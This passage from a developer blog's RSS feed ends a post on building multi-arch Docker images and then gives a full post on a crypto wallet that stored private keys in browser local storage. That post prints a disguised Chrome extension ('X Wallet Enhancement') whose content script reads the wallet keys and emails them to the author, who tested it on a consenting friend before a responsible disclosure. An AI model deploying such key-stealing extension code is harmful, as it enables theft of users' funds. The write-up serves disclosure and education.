<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> Cleanup</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">RUN</span><span> apt -qy purge --auto-remove build-essential g++ gcc libssl-dev cmake git wget</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">RUN</span><span> apt autoremove &amp;&amp; apt clean</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">RUN</span><span> rm -rf /var/lib/apt/lists/*</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> Create a user</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">RUN</span><span> groupadd -r de_agent &amp;&amp; useradd -r -m -g de_agent de_agent</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">RUN</span><span> chown -R de_agent:de_agent /app</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">USER</span><span> de_agent</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> Run the web application</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">EXPOSE</span><span> 8000</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">ENTRYPOINT</span><span> [</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">PYTHONPATH=.</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span>, </span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">python</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span>, </span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">main.py</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span>]</span></span></code></pre>
<p>The question now is how to build Docker images for both architectures on a Mac.
This is where Docker comes in. Docker Desktop officially supports <a rel="noopener external" target="_blank" href="https://www.docker.com/blog/multi-arch-images/">building multi-arch images
for Arm and x86</a>. Learning this, I was able to
add a few targets to my Makefile to quickly build images:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="make"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">build</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> #</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> Build a Docker image for x86_64</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> docker</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> buildx</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> build</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> --platform</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> linux/amd64</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> -t</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> de-agent</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span>amd64-latest --build-arg DE_AGENT_PYPI_TOKEN=</span><span>${</span><span>DE_AGENT_PYPI_TOKEN</span><span>}</span><span> -f Dockerfile.amd64 --no-cache .</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">build-arm</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> #</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> Build a Docker image for arm64</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> docker</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">  buildx</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> build</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> --platform</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> linux/arm64</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> -t</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> de-agent</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span>arm64-latest --build-arg DE_AGENT_PYPI_TOKEN=</span><span>${</span><span>DE_AGENT_PYPI_TOKEN</span><span>}</span><span> -f Dockerfile.arm64 --no-cache .</span></span></code></pre><pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">make</span><span style="color: light-dark(#40A02B, #A6E3A1);"> build</span></span></code></pre>
<p><img src="/images/docker-arm-build.png" alt="Docker Image For Arm" />
<span class="img-title">Docker image built for the amd64 architecture</span></p>
<p>One can say, it's so much hassle for doing all of this locally and a proper CI can solve such
a case easily. I agree – as I've mentioned, I like shifting work out of my shoulders and giving it
to some machine in the cloud. But in situations where CI is not available, creating multi-arch
images can save the day. It certainly did for me.</p>

        
      ]]></description>
    </item>
    
    <item>
      <title>Accidentally found a vulnerability in a crypto wallet and made $1,000</title>
      <pubDate>Sat, 05 Aug 2023 00:00:00 +0000</pubDate>
      <author>Andrey Krisanov</author>
      <link>https://akrisanov.com/crypto-wallet-vulnerability/</link>
      <guid>https://akrisanov.com/crypto-wallet-vulnerability/</guid>
      <description xml:base="https://akrisanov.com/crypto-wallet-vulnerability/"><![CDATA[
        <p>Published: 2023-08-05</p>
        
        
          <p>In January 2022, I joined the community of one of the proof-of-stake blockchains.
To play with what the protocol and its ecosystem offered, I created a wallet account on
the official website <code>https://wallet.****.org</code>. Apart from general curiosity, I was interested in
how they achieved security in a browser, especially in the age of extensions and
client-side vulnerabilities.</p>
<p>It turned out that when a user logged in, the wallet application (built in React) generated a set
of public and private keys and stored them in the browser's local storage. With my experience of
building authentication and authorization in distributed systems, I knew this was not the best
thing to do – in general, it's easy for a browser extension and client-side code to read data
from local storage <sup class="footnote-reference"><a href="#1">1</a></sup>.</p>
<p>To prove this, I decided to <a rel="noopener external" target="_blank" href="https://developer.chrome.com/docs/extensions/mv3/getstarted/development-basics/">write a simple extension for Chrome</a> that would retrieve keys from a victim's browser and send them to my
anonymous email address.</p>
<p>The root directory of my pickpocket extension looked like this:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#D20F39, #F38BA8);font-style: italic;">.</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">├──</span><span style="color: light-dark(#40A02B, #A6E3A1);"> content.js</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">├──</span><span style="color: light-dark(#40A02B, #A6E3A1);"> email.min.js</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">├──</span><span style="color: light-dark(#40A02B, #A6E3A1);"> index.html</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">└──</span><span style="color: light-dark(#40A02B, #A6E3A1);"> manifest.json</span></span></code></pre>
<p>The main files are the <code>manifest.json</code> and <code>content.js</code>. The former is essential for installing the extension.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="json"><span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">{</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">  &quot;</span><span style="color: light-dark(#1E66F5, #89B4FA);">name</span><span style="color: light-dark(#7C7F93, #9399B2);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">X Wallet Enhancement</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);">,</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">  &quot;</span><span style="color: light-dark(#1E66F5, #89B4FA);">version</span><span style="color: light-dark(#7C7F93, #9399B2);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">1.0</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);">,</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">  &quot;</span><span style="color: light-dark(#1E66F5, #89B4FA);">manifest_version</span><span style="color: light-dark(#7C7F93, #9399B2);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);">:</span><span style="color: light-dark(#FE640B, #FAB387);"> 3</span><span style="color: light-dark(#7C7F93, #9399B2);">,</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">  &quot;</span><span style="color: light-dark(#1E66F5, #89B4FA);">content_scripts</span><span style="color: light-dark(#7C7F93, #9399B2);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);">:</span><span style="color: light-dark(#7C7F93, #9399B2);"> [</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">    {</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">      &quot;</span><span style="color: light-dark(#1E66F5, #89B4FA);">matches</span><span style="color: light-dark(#7C7F93, #9399B2);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);">:</span><span style="color: light-dark(#7C7F93, #9399B2);"> [</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">        &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">https://wallet.****.org/*</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">      ]</span><span style="color: light-dark(#7C7F93, #9399B2);">,</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">      &quot;</span><span style="color: light-dark(#1E66F5, #89B4FA);">js</span><span style="color: light-dark(#7C7F93, #9399B2);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);">:</span><span style="color: light-dark(#7C7F93, #9399B2);"> [</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">        &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">email.min.js</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);">,</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">        &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">content.js</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">      ]</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">    }</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">  ]</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">}</span></span></code></pre>
<p><code>email.min.js</code> is just a client library from one of the cloud services that allows you to send
email directly from a browser without any server code. <code>index.html</code> is a blank HTML page that
displays nothing. The wallet hijacking logic lived in the <code>content.js</code> file:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="javascript"><span class="giallo-l"><span>emailjs</span><span style="color: light-dark(#179299, #94E2D5);">.</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">init</span><span>(</span><span style="color: light-dark(#40A02B, #A6E3A1);">&#39;</span><span style="color: light-dark(#40A02B, #A6E3A1);">user_****</span><span style="color: light-dark(#40A02B, #A6E3A1);">&#39;</span><span>)</span><span style="color: light-dark(#7C7F93, #9399B2);">;</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> //</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> instantiating an email delivery service</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">let</span><span> templateParams</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#7C7F93, #9399B2);"> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">    //</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> gathering information about the victim&#39;s browser</span></span>
<span class="giallo-l"><span>    from_name</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span> navigator</span><span style="color: light-dark(#179299, #94E2D5);">.</span><span>userAgent</span><span style="color: light-dark(#7C7F93, #9399B2);">,</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">    //</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> fetching wallet keys from the local storage</span></span>
<span class="giallo-l"><span>    storage</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span> window</span><span style="color: light-dark(#179299, #94E2D5);">.</span><span>localStorage</span><span style="color: light-dark(#179299, #94E2D5);">.</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">getItem</span><span>(</span><span style="color: light-dark(#40A02B, #A6E3A1);">&#39;</span><span style="color: light-dark(#40A02B, #A6E3A1);">_*:wallet:active_account_id_**</span><span style="color: light-dark(#40A02B, #A6E3A1);">&#39;</span><span>)</span><span style="color: light-dark(#7C7F93, #9399B2);">,</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">}</span><span style="color: light-dark(#7C7F93, #9399B2);">;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">//</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> using a prepared email template to send an email with keys</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">const</span><span> serviceID</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &#39;</span><span style="color: light-dark(#40A02B, #A6E3A1);">service_****</span><span style="color: light-dark(#40A02B, #A6E3A1);">&#39;</span><span style="color: light-dark(#7C7F93, #9399B2);">;</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">const</span><span> templateID</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &#39;</span><span style="color: light-dark(#40A02B, #A6E3A1);">template_****</span><span style="color: light-dark(#40A02B, #A6E3A1);">&#39;</span><span style="color: light-dark(#7C7F93, #9399B2);">;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>emailjs</span><span style="color: light-dark(#179299, #94E2D5);">.</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">send</span><span>(</span><span>serviceID</span><span style="color: light-dark(#7C7F93, #9399B2);">,</span><span> templateID</span><span style="color: light-dark(#7C7F93, #9399B2);">,</span><span> templateParams</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#179299, #94E2D5);"> .</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">then</span><span>(</span><span style="color: light-dark(#7C7F93, #9399B2);">(</span><span style="color: light-dark(#7C7F93, #9399B2);">)</span><span style="color: light-dark(#8839EF, #CBA6F7);"> =&gt;</span><span style="color: light-dark(#7C7F93, #9399B2);"> {</span></span>
<span class="giallo-l"><span>    console</span><span style="color: light-dark(#179299, #94E2D5);">.</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">log</span><span>(</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">Wallet keys were send!</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span>)</span><span style="color: light-dark(#7C7F93, #9399B2);">;</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);"> }</span><span style="color: light-dark(#7C7F93, #9399B2);">,</span><span style="color: light-dark(#7C7F93, #9399B2);"> (</span><span style="color: light-dark(#E64553, #EBA0AC);font-style: italic;">err</span><span style="color: light-dark(#7C7F93, #9399B2);">)</span><span style="color: light-dark(#8839EF, #CBA6F7);"> =&gt;</span><span style="color: light-dark(#7C7F93, #9399B2);"> {</span></span>
<span class="giallo-l"><span>    console</span><span style="color: light-dark(#179299, #94E2D5);">.</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">error</span><span>(</span><span style="color: light-dark(#FE640B, #FAB387);">JSON</span><span style="color: light-dark(#179299, #94E2D5);">.</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">stringify</span><span>(</span><span>err</span><span>)</span><span>)</span><span style="color: light-dark(#7C7F93, #9399B2);">;</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);"> }</span><span>)</span><span style="color: light-dark(#7C7F93, #9399B2);">;</span></span></code></pre>
<p>Yes, such a dummy script.</p>
<p>I packed all four files into a zip archive and kindly asked my friend, who also had
a wallet at <code>https://wallet.***.org</code>, to install my creation in his browser
(pretending to do some social engineering). Before doing so, I told him about my findings and
the theory I was trying to prove. He was happy to help, and the public and private keys of
this wallet account appeared in my inbox a few seconds after the browser extension was installed.
Next, I saved the keys to local storage in my browser and opened the wallet website.</p>
<p>Surprisingly, my friend's crypto-wallet balance was available to me, along with an option to
withdraw the funds. During a Zoom call with my victim friend, I transferred some of his funds to
an anonymous account and back. It was mind-blowing! A new, promising blockchain that had recently
closed an investment round had a major vulnerability in its wallet. Worst of all, they had 2-factor
authentication for users. Of course, not many people would activate it right away, and many didn't.</p>
<p>As an ethical developer, I created a vulnerability report, including the source code of
the browser extension and my thoughts on how to improve the security of the web application.
It was sent directly to the security team's email address on 18th of January. A few days later,
I had a call with the CISO of the blockchain protocol, who assured me that they were aware of
the issue and would address it in the next release. I was a little disappointed with the speed of
the response to the incident. Two days is an eternity when one speaks about users' money.
Nevertheless, the blockchain developers granted me their tokens in an amount equivalent to 1,000 USDT.</p>
<div class="callout callout-danger">
<strong>Advice for application developers</strong>: be aware of the technologies you use and their security aspects.
</div>
<div class="callout callout-warning">
<strong>Advice for crypto users</strong>: learn what security options an organisation offers to you,
activate two-factor authentication as soon as you create a wallet account, don't store all of
your funds in hot wallets.
</div>
<div class="footnote-definition" id="1"><sup class="footnote-definition-label">1</sup>
<p>Worth reading:</p>
</div>
<ul>
<li><a rel="noopener external" target="_blank" href="https://snyk.io/blog/is-localstorage-safe-to-use/">Is LocalStorage safe to use? | Snyk</a></li>
<li><a rel="noopener external" target="_blank" href="https://www.rdegges.com/2018/please-stop-using-local-storage/">Please Stop Using Local Storage</a></li>
<li><a rel="noopener external" target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies">Using HTTP cookies - HTTP | MDN</a></li>
<li><a rel="noopener external" target="_blank" href="https://owasp.org/www-community/HttpOnly">HttpOnly | OWASP Foundation</a></li>
</ul>

        
      ]]></description>
    </item>
    
  </channel>
</rss>
